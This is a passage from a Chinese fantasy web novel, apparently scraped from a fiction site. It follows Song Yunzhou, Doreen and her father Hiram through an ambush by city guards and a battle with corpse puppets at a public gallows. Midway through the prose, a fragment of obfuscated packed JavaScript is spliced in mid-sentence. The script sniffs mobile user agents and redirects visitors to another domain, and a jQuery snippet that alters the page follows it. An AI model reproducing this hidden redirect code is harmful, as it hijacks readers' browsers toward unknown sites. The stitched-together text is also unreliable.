“无论发生什么,我都想再多陪你一阵,这样至少能安心一些。你放心,我一定远远躲着不掺和,不给你们添麻烦。”海勒姆抬头看向女儿,老实巴交地求情道,“我要是自己先跑掉,让你母亲知道了,她一定会指着我的鼻子骂的。你……能不能别赶我走?” 多琳听海勒姆提到母亲,微微一怔,鼻腔蓦地发酸。 她快速地眨了一下眼睛,散去泪意,扬起唇角露出笑容,爽朗答应道:“好!那就一起留下!我会保护你的!” *** 多琳带领宋云州和海勒姆来到同伴家附近,三人在下水道中坚持等到晚上才开始行动。 宋云州率先攀上井梯,将头顶的井盖推起一道缝隙,只露出双眼探查四周。 确认周遭没人后,宋云州轻轻移开井盖,爬到地面上,转身把多琳和海勒姆先后拽了上来,再恢复井盖。 不甚明朗的月光照耀下,三人迅速转移到街边的阴影中。 夜深人静,一道人影快步溜过空无一人的街道,多琳侧身贴着墙边,走到一户人家门前,轻轻敲了敲门。 依照约定,多琳先去同伴的住处一探究竟,宋云州和海勒姆躲在远处等待消息。 轻微的吱呀声响,木门近乎是应声而开,屋里的人像是一直守在门口。 一个身披斗篷的人出现在门后,那人头戴兜帽,整张脸隐入阴影之下,将自己遮挡得严严实实。 那人看到出现在门外的多琳,一言不发,打开门便转身往屋里走去。 多琳跟着向前走了一步,正要回头抬手招呼宋云州和海勒姆。 就在这时,背对多琳的同伴不知是有意无意,突然轻轻咳嗽了一声。 多琳顿时觉出不对,压着嗓子喝问:“你是谁?!” 第一个字出口的刹那,多琳手中的尖刀已抵住了那人的后背。 刀尖下传来奇怪的触感,斗篷布料之下似是存在硬物,顶住了刀锋。 多琳伸出另一手,猛地用力扯下了那人身上的斗篷—— 黑布滑落,露出掩藏其下的银色铠甲,在月光下反射出令人目眩的白光。 斗篷散开的同时,长剑出鞘的锵然在耳侧乍响。 伪装成“同伴”的卫兵抽出腰间佩剑,迅捷转身斩向多琳,多琳扬刀便接。 打斗声起,仿佛是某种信号,周围几户邻居的家门被猛力撞开,事先埋伏在这里的几十名卫兵举着兵刃冲出,分别围向多琳和街对面的宋云州与海勒姆。 多琳和她同伴的位置已完全暴露,似是有人算准了他们会找来这里,埋伏在此以逸待劳地要将他们一网打尽。 宋云州护着海勒姆后退,手心蹭上从别人家院外随手顺来的镰刀,引出了幽绿火焰。 卫兵们已有了心理准备,没再因兵器和铠甲被烧毁而惊恐不前,赤手空拳地扑过来与宋云州对阵。 海勒姆举起一把同样是从别人家顺来的锄头,与宋云州背抵着背,抵挡包抄而来的卫兵。 混战一触即发。 海勒姆力气很大,将锄头舞得虎虎生风,横向一扫就带倒了几人。 宋云州手中紧紧攥住镰刀,围过来的卫兵虽多,也从他这里讨不到什么好处。 古银币的火焰随时可以烧死任何人,宋云州却不想那么做。越残酷的手段只会得到越猛烈的反扑,他吓得住对方一时,古银币上的魔法可不能保他一世。 那终究不是他真正拥有的力量,当魔法耗尽,他又该怎么办? 卫兵夺不过宋云州的镰刀,又不敢触及他手中的幽绿火焰,负伤者越来越多,宋云州这侧的包围渐趋松懈。 宋云州找准时机,和海勒姆一起努力往多琳身边靠近,想带着她一起冲出重围。 多琳灵敏的身形在成片的刀光剑影间闪转腾挪,不见疲态,但隐隐落于劣势。 忽然,一声清凌凌的口哨声自某处院落中响起,突兀地划破纷乱争斗。 围攻多琳的卫兵们听闻哨音,一下子散去了多半,明晃晃昭示着有阴谋。 多琳留心应对,并未发现有任何异样。 “小心上面!” 最先注意到变故的宋云州即刻大声向多琳示警。 多琳分神仰头一瞥,就见一张闪着寒芒的大网从天而降,正朝她兜头罩下。 可多琳仍与一名卫兵缠斗,躲闪不及。 眼看多琳即将被捕,宋云州挥开挡在面前的卫兵,快步朝她冲去。 却有一人的动作比宋云州更快,海勒姆从斜侧方冲出,直扑向多琳后背,将她推撞出大网的落点。 海勒姆则重重摔在多琳方才站立的位置,被大网罩个正着。 网身即刻收紧,网口处的长绳由站在远处的几名守卫紧握手中。 多琳向前踉跄两步脱险,回身便想用尖刀割破大网。 谁知这网并非麻绳结成,而是用的极细极韧的钢丝,根本无法用利刃拆解。 唯有宋云州手中的火焰可将其焚毁。 宋云州也发现了这一点,跑动的脚步不停,同时准备伸出手臂。 不料,就在宋云州刚做出动作的那刻,某种燃着火光的事物突然 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海勒姆见状没再喊,反而放平了声气,望着多琳圆亮的双眼,犹如讲睡前故事般,温和而平静地道:“我们曾经拉过钩的,谁也不食言。” 此时恰好处于爆炸的间隙,海勒姆轻柔的话语一字不落地钻进了多琳的耳朵,想装作没听见都抵赖不成。 多琳紧紧咬住牙关,火药爆燃的辉光映亮了自她脸颊滑落的一滴泪。 投落的火药越来越密集,爆炸的范围越扩越大,更多的卫兵集结赶来。 再不走就来不及了。 多琳最后望了父亲一眼,恨恨地盯着那张铁网,决绝地转身飞奔而去。 宋云州见多琳离开,隔着炸起的烟尘与海勒姆对望了一眼,他面色凝重地略一颔首,跟着多琳一同跑离。 宋云州一走,爆炸自然停止。为避免火药误伤而躲远的卫兵们重新聚回铁网附近,整齐列队。 卫队长出列,迎到了方才发出哨令的那处院落门前,垂首禀报道:“报告大人,我方顺利擒获一人,另外两人已逃离。” 院门推开,诺兰从中走了出来。他没有穿甲,更不像其他大人那样披红戴绿,只穿着一套极普通的常服,却难掩他如刃般的气势,与他在城主议事厅中当酒侍时截然不同。 诺兰扫了一眼铁网中的海勒姆,不吝夸赞道:“做得很好。” 卫队长得了嘉奖自然高兴,他初时还担心这位城主新指派来的上司飞扬跋扈、难以相处,没想到真见到了,就觉得这人还不错,平静有礼,还有脑子和手腕,一出手就让半月来都没有任何斩获的他们成功抓住了一个。 这可比那个只会颐指气使、让他们挨家挨户到处瞎跑的城防指挥官强了太多。 卫队长隐约听到了诺兰有可能上位的风声,私心里也想换个更好的上司,遂大力吹捧外加表忠心道:“诺兰大人真是料事如神,一下子就把逆党击溃得落花流水,什么魔法也全然不在话下!料那两个漏网之鱼也跑不了太远,要不要我现在就带队前去追捕?” 诺兰望向宋云州和多琳逃离的方向,平静的话音中透露出成竹在胸的绝对把握,道:“不必麻烦,他们会自己回来的,还会带来更多的同伙。” 卫队长不明白:“这……” “明日破晓时分,将于晴空广场对被捕逆党执行绞刑。”诺兰转头对卫队长吩咐道,“你们唯一需要做的,便是今夜将此消息传遍全城。” 45.晴空广场 喧嚣远去,身后没有人追来抓捕他们,但多琳仍是闷着头向前跑,尽她所能,更远地逃离海勒姆被抓的现场。 宋云州沉默地跟着她。 多琳最终在一片浓密的树影中停下,她弯腰用双手撑住膝盖,放平呼吸。 宋云州将镰刀的刀刃朝下拄地,背对多琳观察着周围,慢慢喘匀了气。 两人各自朝向一侧,一时谁都没有说话。 远远的,有快马蹄音踏破夜色,宋云州条件反射地拎起镰刀握紧。 幸而马蹄声并未逼近,卫兵们骑着马,在大街小巷中来回穿梭,扯着嗓子宣告海勒姆即将被处以绞刑的消息。 阵阵夜风将声音扩散、送远,四周愈发安静。 在这寂静之中,树枝被不小心踩断的轻响,就显得尤为刺耳。 “谁在那?!出来!” 宋云州抬起手中镰刀指向那处,低声威吓道。 随即,又是一个被黑斗篷罩得严严实实的人影,从粗树干的影子后走出,朝他们走近了几步。 宋云州镰刀的锋刃随着这人的移动,变化着朝向,他警惕地问道:“你是什么人?” 可这人不知道是怎么回事,就直愣愣地站在那里,不动也不说话。 僵持片刻,宋云州正欲引出火焰走上前探查。多琳突然想到了什么,横向伸出手臂拦住了他。 “伊登?” 多琳试探性地问道。 这两个字像是开启了来者行动的开关,这人抬起双手攥住兜帽两侧,把帽子放了下去。 一张稍显青涩的少年面容出现在宋云州和多琳面前。 多琳松了一口气,转头对宋云州道:“他就是我的同伴,伊登,他的嗓子之前受过伤,发不出声音了。” 宋云州表示理解地点了一下头,放下镰刀后退几步,将空间留给两人。 多琳走上前,询问伊登的情况,少年开始朝多琳打起了手语。 宋云州站在稍远处看向这边,过程中,伊登的目光和手势短暂地指向了他。 多琳看完伊登的手语,走回来向宋云州解释道:“伊登那晚回去的时候,察觉他被卫兵跟踪了,所以放弃了住所,偷偷溜去找我。结果看到我也暴露了,只能自己往远处跑,躲了起来。他刚才听见爆炸声,寻着找过去,正好撞见我们逃离,就一路跟了过来。他因为无法判断你的立场,所以才没有立刻现身。” 多琳抬手把伊登叫了过来,让他和宋云州认识:“他叫宋云州,是完全可以信任的伙伴,你不必担心。” 宋云州和伊登对彼此简洁地颔首致意。 伊登转向多琳,继续比划着手语,多琳看后摇了摇头:“没有。” 没等宋云州询问他们在说什么,伊登撩开斗篷,取下系在腰间的一个布袋,解开口递到了多琳和宋云州面前。 里面装着十几块馅饼。 宋云州这才想起来,他们已经一整天没吃没喝了。 不提不觉得,当食物真正摆到眼前时,就会发觉身体早已又渴又饿。 多琳也有同样的感觉,没接馅饼,而是道:“咱们先去找点水喝。” 说完,多琳带头往离这边最近的水井走去。 卫兵们决定用海勒姆引他们出来,此时就不会再费力搜捕。三人避过一队巡逻兵,很轻易地来到水井边。 伊登跑过去打上来一桶水,三人各自喝足了,又清洗了满是尘泥血渍的脸和手。 清爽之后,他们索性就在井边的空地上坐下,分吃着伊登白天偷来的馅饼休息。 宋云州一连吃了四个馅饼,终于感觉又活了过来,他看着眼前也就比多琳大了一两岁的黑发少年,问道:“这次行动只有你们两个人吗?” 伊登摇了摇头,多琳回答道:“生活在伦达奥城中的确实只有我俩,但真正动手的人尚未到齐。约定的时间未到,他们为避免暴露,不会提前入城。” 那看来目前是不会有更多帮手了。 宋云州看了一眼天色,估摸着现在的时间,道:“我们得赶紧计划一下,明天该怎么劫刑场?” 就算明知这是请君入瓮的计谋,为了海勒姆,他们也不得不中计。 三人一齐沉思了片刻。 宋云州转向多琳,想问问晴空广场的实际情况,看能不能利用它周围的建筑布局做点什么文章。 谁知宋云州还没出声,多琳就似是下定了某种决心,果断地对他和伊登道:“我一个人去,你们到时掩护我脱身就好。” 宋云州想劝多琳再想想稳妥的办法,但伊登出于对同伴的绝对信任,马上点头答应了。 *** 晴空广场坐落于伦达奥城的偏西侧,一条宽阔笔直的大道自它的中部延伸,直通向另一侧与它遥遥对望的烈日堡。 广场正中央砖石垒砌的圆形基座足有一人高,其上应该曾有某个巨大的石刻雕像,但现在雕像已被连根斩去,只剩下光秃破败的深色基座杂草丛生。 一座连夜搭建起的木质绞刑架,高耸在基座前方。 海勒姆被反绑着双手,推上了绞刑台,卫兵将悬吊在半空中的绳圈拉下少许,套在他的脖颈上。 绳圈尾端搭过横在上方的圆木,缠绕在后方的木头转轮上,行刑时只要有人大力推动转轮,绳索便会收紧,将人悬空吊起绞杀。 海勒姆没有任何挣扎,顺从地任人摆弄,一声不出。 早在很久之前他就预料到了会有这一天,因而当这一天真正到来时,他不觉得有任何恐惧,反而有些许骄傲与轻松。 海勒姆闭上双眼,只在心中默默祈祷着,多琳千万不要来救他。 星光与月色隐去,浓重的黑色逐渐变淡、转白,破晓将至。 或许是真的存在某种感应,海勒姆的心跳在某一时刻骤然加快,他紧张地睁眼看去。 只见前方由褐色砖石铺就的大道上,一个亭亭玉立的纤瘦身影,踏着曦光坚定地走向广场中央的绞刑架。 海勒姆的心一下子揪了起来。 晴空广场上并没有预想中的严阵以待,仅有二三十名卫兵分列两队,自绞刑架起沿着大道两侧对向而立,仿佛即将接受检阅的仪仗队。 多琳孤身赴约,走到卫兵队列的中心位置站定。 她的出现没有引起任何骚动,卫兵们目不斜视,没有人动手。 诺兰站在队列最前方,目光略略扫视过左右,最后落在多琳身上,话音中带了一丝看破的笑意:“你们至少有三个人,才来了一个,不是很有救人的诚意啊。另外两人埋伏在哪里?” “我不是来救他的。” 多琳清脆的嗓音在偌大空旷的广场上回荡。 这个回答出乎诺兰的意料,同样令避在远处转角后的宋云州诧异。 多琳这么说,单纯是为了迷惑诺兰,还是说,这是她真实的想法? 诺兰提起了一丝兴趣,随即问道:“那为什么还要来?” 多琳遥望着绞刑架上的父亲,目光安定,一字一句地认真道:“为他报仇。” 海勒姆心中的一切不安,都因这四个字瞬间消失了,他回望着女儿,露出了一个欣慰的笑容。 “可人还活着,真的不救吗?”诺兰微微一笑,笑容本身十分得体,但在此情此景下,无端充满了挑衅的意味,“你想眼睁睁看着他死?” “我来——”多琳拖长声调,抬手摸向腰侧,动作带着蓄势待发的果敢,怒喝一声,“只为杀你!”话音未落,多琳已抽出尖刀,飞速奔向诺兰。 诺兰早有命令,卫兵们只是列队站岗,一动不动,多琳一冲而上,没有遭遇任何拦截。 诺兰似是早就等待着这一刻,旋即拔出腰侧佩剑,不退反进,迎向多琳。 多琳在最后一步凌空跃起,狠狠撞向诺兰,她因冲劲带来极猛的势头,尖刀撞上长剑竟有火星迸出。 诺兰被迫后退了一步,但也仅仅只是一步,他就抵住了多琳的力量,随即反压。 宋云州远远看着,诺兰的剑术极佳,根本不是那些普通卫兵能够相提并论的,多琳与他有来有往地几招交锋,几乎可以算得上势均力敌。 宋云州看向身侧和他一起关注着战局的伊登,刚要商议一会儿协助多琳撤退的计策,忽然意识到一个有些严重的问题—— 他看不懂手语,该怎么和伊登打配合? 晴空广场上,兵器相撞的铿锵声在短时间内密集响起,让所有听众心弦紧绷。 多琳与诺兰再一次兵器交错,距离陡然拉近,诺兰嘴唇微动,正想开口说什么,一声卫兵的惊呼打断了他。 诺兰和多琳同时发力抵开对方,各自退向一侧,暂时休战。他们看向声音来处,皆是一愣。 三四十个身穿平民服装的男人不知是从哪儿冒出来的,直勾勾地向列队的卫兵们冲来。 卫兵们即刻拔剑威慑,勒令他们止步后退,却不起任何效果。 卫兵们都以为他们是多琳的同伙,纷纷准备迎战。 不成想,冲在最前的一个男人竟连躲都不躲,直直撞在了面前卫兵的剑上,腹部顿时被捅个对穿。 诡异的事情由此发生,那男人似是根本没有感觉,连痛呼都不曾。 执剑的卫兵完全没反应过来,呆愣地看着没入人体的剑刃,震惊地缓缓抬头看向那人,一下子被对方掐住了脖子。 卫兵的思绪慢了一拍,终于想明白令他震惊的异样来自于何处—— 这个“人”,没有血…… 不过这也成了卫兵脑海中划过的最后一丝意识,下一刻,他就被那看起来还没有他健壮的男人,单手掐碎了脖颈。 一派愕然中,卫兵了无生气的躯体倒落在地,“男人”随手抽出还插在自己腹部的长剑,握在手中,大力朝下一个卫兵劈砍而去。 更多的“男人”紧随其后,沉默而迅速地冲向其余卫兵,目标明确地直取他们的性命。 卫兵们眼见同伴惨死,而对手又犹如不死的魔鬼,全部丧失了战斗的勇气,两股战战地下意识退却。可他们的速度没有这些“男人”快,逃跑只让他们陷入了更大的劣势。 接连有卫兵被“男人”从身后追上扑倒抓住,再在实力相差悬殊的角力中被杀。 鲜血肆意泼洒,晴空广场霎时成为屠杀者的乐园。 宋云州遥遥目睹了这一幕,恶寒与恨意瞬间席卷了他的五脏六腑,如火燎原。 布瑞德溅洒的鲜血犹在眼前,宋云州几乎是一眼就认出,这些“男人”正是尸傀儡! 施术者就在伦达奥城中! 宋云州双眼死死盯住尸傀儡,把手中的镰刀递给伊登,留下一句:“你去帮多琳和海勒姆。”便急速冲出藏身的建筑物后,径直冲向遭尸傀儡冲击的卫兵团。 这一突发状况显然并不在诺兰事先的计划中,他没心思再管多琳的事,即刻提剑冲到了他的下属身边,斩断了一个尸傀儡向卫兵抓去的双手。 诺兰大声吼回被吓傻了的卫兵们的神智:“不想死就举起你们的剑,杀回去!” 说着,诺兰横剑,英勇无畏地杀向朝他冲来的尸傀儡。 多琳倒吸一口冷气,同样因这些怪物惊骇,但她的心还牵系在别处。 绞刑架边原本就只有诺兰一人,现在他也走了,多琳当即轻巧地跃上绞刑台,割断海勒姆脖子上和手臂上的绳索。 多琳迅速抛开绳索,对海勒姆道:“我们走!” 海勒姆点头,紧紧抓住女儿的手,和她一起跃下绞刑架,快步逃离空旷的广场,往民居聚集处奔去。 诺兰砍断面前尸傀儡的一条手臂,一脚侧踹让它摔倒在地。与此同时,背后又有一个尸傀儡攻来,诺兰听闻风声,敏捷矮身闪躲,就地一滚的同时挥剑斩断了尸傀儡的双腿。趁它倒地的那刻,诺兰迅疾翻身,一剑斩下了它的头颅。 断了一臂的尸傀儡歪歪斜斜地从地上站起来,还没站稳,就被率先赶过来的诺兰斩首,再次倒了下去。 短时间内,诺兰周旋在尸傀儡之间,已经顺利斩杀了四个。同时他也在镇定地大声向其他卫兵发号施令,告诉他们尸傀儡奔跑的速度虽快,但关节的灵活性终究不敌活人,可以依靠灵活制敌。 诺兰用实际行动向手下的卫兵们证明,尸傀儡并非不可战胜,被砍掉头颅后就不会再动弹,依旧会死。 卫兵们亲眼看到这一切,深深受到诺兰的鼓舞,也看清了尸傀儡不会放过他们任何一个的现实,纷纷重新燃起斗志,握紧手中剑,开始集结反击。 尸傀儡仿佛感知到这有一个人类在带头不屈抵抗,它们受到冥冥之中的操纵,放弃了其他人,开始合力朝诺兰一个人进攻。 诺兰在搏杀的间隙察觉到尸傀儡从四面八方向他汇聚,仍然没有露出任何惊慌神色,反而高声对卫兵们道:“你们趁现在快走!” 尸傀儡的包围圈逐渐收紧,诺兰从腹背受敌,变成了全方位都是敌人。 没了双手的尸傀儡仍在试图从背后偷袭诺兰,却被跑到他身后的一名卫兵率先削掉了脑袋。 诺兰抵开身侧的尸傀儡,正回身要处理后方的敌人,结果发现身后的危机已经解除。 诺兰急急止住斜向挥下的剑锋,与帮了他的那名卫兵对视一眼,没时间说话,只是仓促地点了一下头,继续转身杀敌。 那名卫兵则背身站在了诺兰身后,为他抵御后侧的尸傀儡。 很快,第二名卫兵冲开尸傀儡的包围圈站到了诺兰身边,之后是第三名、第四名…… 幸存的卫兵们没有一人逃跑,他们自晴空广场各处奔赴诺兰身边,将后背交托给彼此,围成圆圈,和诺兰一同抵御尸傀儡的攻势。 尸傀儡们无差别攻击它们所能见到的一切生物,力大无穷,不惧伤痕。 卫兵们可嘉的勇气,并不能从本质上更改战局的走势。 尸傀儡的数量本就比他们人多,而他们又经历了一开始的大幅减员,数量上相差明显的同时,力量上的差距也致使他们一旦伤及要害,就几乎没有生还的可能。 卫兵们击开一个尸傀儡,立刻就有另一个或者好几个补上来,左支右绌地搏斗中,不断有同伴倒下。 卫兵们聚拢而成的生命圈越缩越小,死亡的阴影渐趋浓重,即将一口撕咬下他们所有人的血肉。 就在卫兵们全然绝望之际,一团幽绿火焰忽而在尸傀儡的包围圈后一闪,随即,爆燃成一片汪洋火海。 恍如天神盗取的火种落入人间,邪祟魍魉无所遁形,即使这火焰的模样与地狱中的恶鬼有所勾连,仍旧开辟了生的希望。 浓黑与幽绿交织的冰冷火焰,在无风的清晨疯狂摇曳,眨眼间吞噬了围攻卫兵的尸傀儡。 尸傀儡们置身烈焰,发不出声音,也没有痛苦的反应。它们无休无止地举起带着火焰的手臂还想进攻,却在尚未接触到卫兵的前一刻,直接崩散成了灰烬尘埃。 幽绿火焰越烧越猛,在卫兵们周遭划出一道数米高的完整圆弧,构筑起尸傀儡再难逾越的屏障。 卫兵们目之所及处只余幽绿,好似万物皆被烧灼。 尸傀儡受未知力量的操控,想要逃离这火焰。可只要被幽绿火焰沾上一点点,便有火焰自它们的体内穿出,避无可避地将之灼烧殆尽。 卫兵们惊恐惶惑地注视着眼前的变故,其中有人参与过先前对逆党的追捕,亲眼见识过这个颜色的火焰。 可那时的火焰微弱而含蓄,让人一眼便知是魔法使然。 现在则全然不同,烈焰张扬暴虐,横行无忌,酷似神明震怒时降下的天罚劫火。 尸傀儡化作的飞灰腾空飞卷,烈焰破开一线,宋云州右手执一柄长剑,迈步从火焰中走出,来到众人面前。 肆虐的火焰仿佛无数只怨毒抓挠的鬼爪,缭绕在宋云州身侧,拂过他的脸颊,攀附上他的剑锋,却只甘愿做最忠诚的奴仆,不会伤他分毫。 幽绿荧光倒映在宋云州眼底,一双璨璨明眸蕴着森然冷意,火焰如镜,映照出他紧绷的优美下颌。 可能是因为宋云州这张美貌的脸,也可能是因为他此刻从容睥睨的气势,使得他就算置身诡异之火,仍像倏然降临人世的神祇,誓要涤荡万般罪恶。 卫兵们看见宋云州出现,心中因尸傀儡被烧的欢喜顷刻间荡然无存。他们毫不怀疑,只要宋云州想,他们随时会和那些尸傀儡一样,被烧得渣都不剩。 卫兵们提心吊胆地等待片刻,环绕他们的火焰并未向内蔓延,而是随着尸傀儡被烧净而熄灭了。 宋云州根本没注意到卫兵们的反应,他的目光始终锁定在残存的几个尸傀儡身上,声音清冷地开口道:“帮我杀光它们。” 卫兵们闻言,纷纷不知所措地看向他们的上司诺兰。 诺兰审慎地看着宋云州,给了手下一个眼神。 卫兵们得令,即刻行动起来。 幽绿火焰犹如被满足了杀戮欲望的魔鬼,就算宋云州的双手不再流血,仍餮足地盘绕在他周身,不肯退去。 尸傀儡有意识地避开宋云州,但还会对其他人造成攻击。士兵们要做的就是设法吸引尸傀儡,牵制住,等宋云州赶过来烧掉它。 宋云州的强势参战,瞬间减轻了卫兵们的生存压力。他们不必再一人对抗好几个尸傀儡,变成几个人合力对抗一个。 自然也有卫兵选择不等宋云州,与同伴合作,用从绞刑台旁捡到的断绳,自后套住尸傀儡的脖子,猛一发力将它带倒,另一人当即挥剑砍掉了它的头。 宋云州与卫兵们一同堵截尸傀儡时发现,这些尸傀儡的速度、力量与敏捷程度,似乎都比圣神果园中出现的那两个更强了些。 是更靠近施术者的缘故吗? 宋云州一想到布瑞德受伤的惨状,痛苦与愤怒便烧灼着他的心脏。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240950|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那个混蛋,怎么可以伤害他的布瑞德?! 宋云州在身边卫兵震惊的目光中,左手探入烈焰,紧紧揪住正在燃烧的尸傀儡的衣领,提起拉至近前,紧盯着它无神的双眼,狠声怒道:“我知道你在看!胆怯鼠辈只敢躲在尸体背后吗?!滚出来见我!” 话音刚落,尸傀儡已死的双眼中突然闪过了一抹精光,而后它脸颊上僵硬的肌肉牵动唇角,竟然朝宋云州露出了一个诡异的笑容。 宋云州呼吸一滞,立刻更紧更迫切地抓住它,可还没来得及再多说什么,幽绿火焰就已彻底吞噬了它的面容。 余烬自宋云州的指缝间飞散,最后一个尸傀儡被焚毁,宣告这场混乱的终章。 除宋云州之外,晴空广场上的活人尽数松了一口气。 卫兵们死伤惨重,包括诺兰在内,只剩下了七个人,每个人身上都有或深或浅的伤口。 诺兰手臂处被尸傀儡用剑割破的伤口还在往外冒血,他抬手捂住,殷红的血液便从他的手指间溢出,顺着他垂坠的袖管滴下。 惊魂未定的幸存卫兵们喘着粗气,看向宋云州的目光已如同亲见救世的神明,满是敬仰与尊崇,全部自发往他的身边靠得近了些。 诺兰同样在看宋云州,但眼神中更多的是细致地观察与揣摩。 宋云州缓缓放下空无一物的掌心,视线无意识飘落,出乎意料地看到了躺在地面上的一枚古银币。 宋云州随即上前将它捡了起来,拿出口袋中的另外两枚比照,是完全相同的古银币,大小、样式,连同其上的腐朽程度都一模一样。 这古银币果然是驱纵尸傀儡的媒介物,烧掉尸傀儡就出现了。 宋云州翻看着古银币,脑中思索,那他多捡几个,岂不是就能延长魔法的使用时间了。 这么想着,宋云州的眉心突然蹙起,他觉察出有哪里不对。 宋云州马上用手中那柄死去卫兵的剑,随便蹭了一下手指,带着血摸向刚才捡起的那枚古银币。 幽绿火焰照旧出现了。 所以,古银币原本就是这个样子,与纳卡诺的魔法无关,他能使用古银币也并非纳卡诺所致。 一个问题得到了答案,却令更多的疑问涌现—— 纳卡诺究竟知不知道古银币上的魔法?还是说这一切完全只是巧合? 为什么只有他触碰到幽绿火焰不会被烧死,甚至还能随心使用它? 不过“只有他”这一点尚且存疑,毕竟宋云州不敢让别人做这种赌命的危险尝试。 “这里还有一枚。” 忽然响起的话音打断了宋云州的思考。 一名年轻卫兵发现宋云州在捡拾怪物烧剩下的古银币,恰好他的面前就有一枚,好心地弯腰伸手,正想捡起来给宋云州递过去。 “别碰!”宋云州转头看到他在干什么,立刻反应迅速地厉声制止道,“你会和它们一样烧起来的!” 年轻卫兵被成功吓到,顿时惊恐地缩回手,哆嗦着一屁股摔在地上,两手撑着地往后挪蹭了好几步,尽可能地远离那恐怖的东西。 宋云州看了那卫兵一眼,对领头的诺兰叮嘱道:“千万不能让这些古银币直接接触皮肤,会死。” 诺兰认真听后,没作出正常的回应,只是意味不明地说了一句:“但是你可以。” 宋云州已有的疑团已经够多了,懒得再给自己增加负担,权当没听见,不搭理诺兰。 宋云州埋头快速捡了十几枚古银币,装了满满两个裤兜,余下的拿不了,只能留在这了。 宋云州装好古银币,提着剑就要去找多琳他们会合。刚走出十几步,他突然顿住脚步,转回身来。 只因宋云州在想要不要放几句狠话威慑一下,省得卫兵们短时间内再阴魂不散地追过来。 诺兰和卫兵们都还站在原地目送他。 宋云州正要开口,一只飞鸟掠过高空,身影短暂地遮挡了一线日光,他感觉到余光里有什么东西一晃而过。 宋云州奇怪地望向那处,等他意识到视线中的东西是什么后,神色顿时一僵。 诺兰敏锐地察觉到宋云州神情的变化,迅速循着他的目光转身望去。 只见远处黑压压的一片人头攒动,正朝着晴空广场无声且迅疾地逼近—— 全部都是尸傀儡! 不似刚才那样的小打小闹,这回袭来的尸傀儡足有成百上千的数量,光是这么一眼看过去,就令人心生绝望! 几名卫兵只觉鸡皮疙瘩瞬间爬满了全身,头皮发炸,一时竟是连逃跑的劲头都提不起来了。 宋云州本以为尸傀儡只有刚才那几十个,万万没想到这种东西数量竟如此之巨,并且施术者会一次性出动这么多。 那多琳那边……! 宋云州心头一凛,几乎是在意识到的那一刹,就即刻转身向多琳他们离开的方向冲去。 卫兵们看到尸傀儡后,想到的第一件事就是寻求宋云州的庇护,不料刚一回神,宋云州已经跑出去了老远。 诺兰深知唯有宋云州是他们的活路,当机立断下令道:“跟上他!”即刻和众卫兵一同追在了宋云州身后。 *** 多琳带着海勒姆进入坐落着民居的街道,并没有跑出多远,同样遭遇了尸傀儡。 尸傀儡们持握着兵器,预先埋伏在街巷间,只等他们一出现就全部攻了过来。 多琳和海勒姆目睹了晴空广场的变故,早已有了心理准备,没有因震惊与恐慌导致慌了阵脚。 拦路的第一个尸傀儡现身时,多琳一个箭步冲上去,用尖刀直直刺入了他的心口,随即不给尸傀儡趁机反击的机会,即刻拔刀后撤。 利刃划开皮肉不见一滴血,尸傀儡没有任何变化地接着奔过来。 多琳试了多处要害,发现尸傀儡哪怕只吊着半个脑袋,或是脖子被砍去了一半,都能继续行动,唯有把它的脑袋完全斩掉才行。 海勒姆手中没有武器,道边堆放的杂物抓到什么算什么,尽数往尸傀儡身上狠狠招呼,一时打得它们无法近身,但这也仅是治标不治本。 幸好伊登很快追了过来,将宋云州的镰刀交到了海勒姆手里。 多琳的尖刀不够厚重,刃面也不够宽阔,只适合刺杀要害,不适合用于斩首。伊登使用的两把匕首同样。 海勒姆为了不让多琳和伊登因“切断脖子”这件事浪费时间,在他俩牵制住尸傀儡的时候,主动挥着镰刀上前,拿出收割麦子的劲头,砍瓜切菜一样斩去它们的脑袋。 多琳和伊登见这样的配合卓有成效,遂开始给海勒姆制造斩首的机会。 三人默契搭档,在处理掉一小波尸傀儡后,一齐往小巷深处钻去。 巷道很窄,只有一人宽,不会出现被尸傀儡多方围攻的局面。 多琳一边奔跑,一边用刀柄重重敲响每一户的家门,请求有谁能打开门,让他们躲进去避一避,至少能给他们一些喘息休整的时间。 百姓因禁令全都待在家中,听到街上的喊杀声,许多人躲在家门后、扒在窗户边,瑟缩地注视着这一切。但帮助逆党意味着引火烧身,没有任何人愿意开门。 不知第多少次敲门无果后,多琳放弃了这一行为。 在这时开门意味着甘愿风险共担,她不会强逼着让不愿意的人送死,所以她只是敲门,而不会去砸那一踹就能打开的门。 多琳在奔逃间看着家家户户紧闭的门扉,心中平静,没有丝毫怨恨。 不开门不过是少了一线生机,什么都代表不了。 不到最后一刻,他们不会甘愿认命。 海勒姆紧紧攥住镰刀,稳稳地跟在多琳身后,像他曾经幻想期待过的那样,也可以拿起武器保护女儿,和女儿并肩作战。 海勒姆像对待曾经那些想要抢劫他货车的地痞流氓那样,使出浑身的力气,将朝他扑来的一个尸傀儡抵到墙边,艰难地将镰刀刃压向它的脖颈。 海勒姆全部的精神都放在对付眼前的尸傀儡上,没能察觉到,之前被他打翻在地的那个尸傀儡,又慢慢悠悠地爬了起来,接近了海勒姆身后。 另一边的伊登在第一时间注意到了危险,可他的嗓子发不出声音,没办法引起任何人的注意。 伊登心中万分焦急,硬扛着被尸傀儡刺伤手臂的痛楚,甩开和他缠斗的尸傀儡。 伊登在向海勒姆那边冲去的同时,踢起脚边的一颗小石子,准确弹向多琳脸侧的墙面。 背对他们切割尸傀儡脑袋的多琳立即看了过来,她顺着伊登奔袭的方向,发现了海勒姆所处的险境。 “小心身后!” 多琳厉声嘶吼着,拼尽全力向前甩出了手中的尖刀,正中那尸傀儡的脖颈,深深切入。 就在同一瞬,海勒姆闻声抬眼看向多琳。 而那尸傀儡举起手中利剑,自身后刺穿了海勒姆的腹部!